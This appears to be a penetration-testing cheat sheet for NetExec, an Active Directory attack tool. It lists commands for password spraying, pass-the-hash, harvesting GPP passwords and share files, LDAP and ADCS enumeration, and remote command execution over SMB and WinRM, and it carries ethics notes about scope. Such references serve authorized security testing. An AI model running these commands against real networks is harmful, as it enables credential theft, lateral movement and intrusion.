NetExec Cheat Sheet

Modern CrackMapExec successor for AD protocol abuse and automation.

Active Directory & WindowsadcmelateralsmbsprayUpdated 2026-06-02

Overview

NetExec (nxc) continues the CrackMapExec model for SMB, WinRM, LDAP, MSSQL, RDP, and more with active development. Used for credential checking, enumeration, and lateral movement in authorized internal assessments. Ethics: identical constraints as CME—lockouts, DCSync modules, and execution are high impact; stay in scope.

Install

pipx install git+https://github.com/Pennyw0rth/NetExec

or: pipx install netexec

nxc --version

Essential commands

nxc smb 10.10.10.0/24 -u user -p 'Password1!'

nxc smb hosts.txt -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0

nxc winrm 10.10.10.10 -u administrator -p pass

nxc ldap 10.10.10.1 -u user@corp.local -p pass -d corp.local --users

Common workflows

Auth check / spray —

nxc smb 10.10.10.0/24 -u users.txt -p 'Password1!' --no-bruteforce

nxc smb dc01.corp.local -u j.doe -p 'Winter2026!' -d corp.local

Shares and sensitive files —

nxc smb 10.10.10.5 -u user -p pass --shares

nxc smb 10.10.10.5 -u user -p pass -M gpp_password

nxc smb 10.10.10.5 -u user -p pass -M spider_plus -o OUTPUT_FOLDER=/tmp/spider

Execution —

nxc smb 10.10.10.10 -u administrator -p pass -x 'hostname'

nxc smb 10.10.10.10 -u admin -p pass -X 'Get-Process' --exec-method smbexec

LDAP —

nxc ldap 10.10.10.1 -u user -p pass -d corp.local --trusted-for-delegation

nxc ldap 10.10.10.1 -u user -p pass -M adcs

WinRM / RDP —

nxc winrm 10.10.10.10 -u administrator -p pass -x 'whoami'

nxc rdp 10.10.10.10 -u user -p pass

Flags reference

`-u / -p`	Credentials
`-H`	NTLM hash
`-d`	Domain
`-M`	Module
`-o`	Module options
`-x / -X`	CMD / PowerShell
`--generate-hosts-file`	Targets from scan
`--log`	Log path

Tips

Ethics: prefer targeted host lists over /24 sprays on production; document valid accounts immediately.
nxc -L lists modules; read module wiki before running invasive plugins.
Migrate from cme to nxc command-for-command in new engagements.
Combine with impacket and bloodhound for full AD kill chains.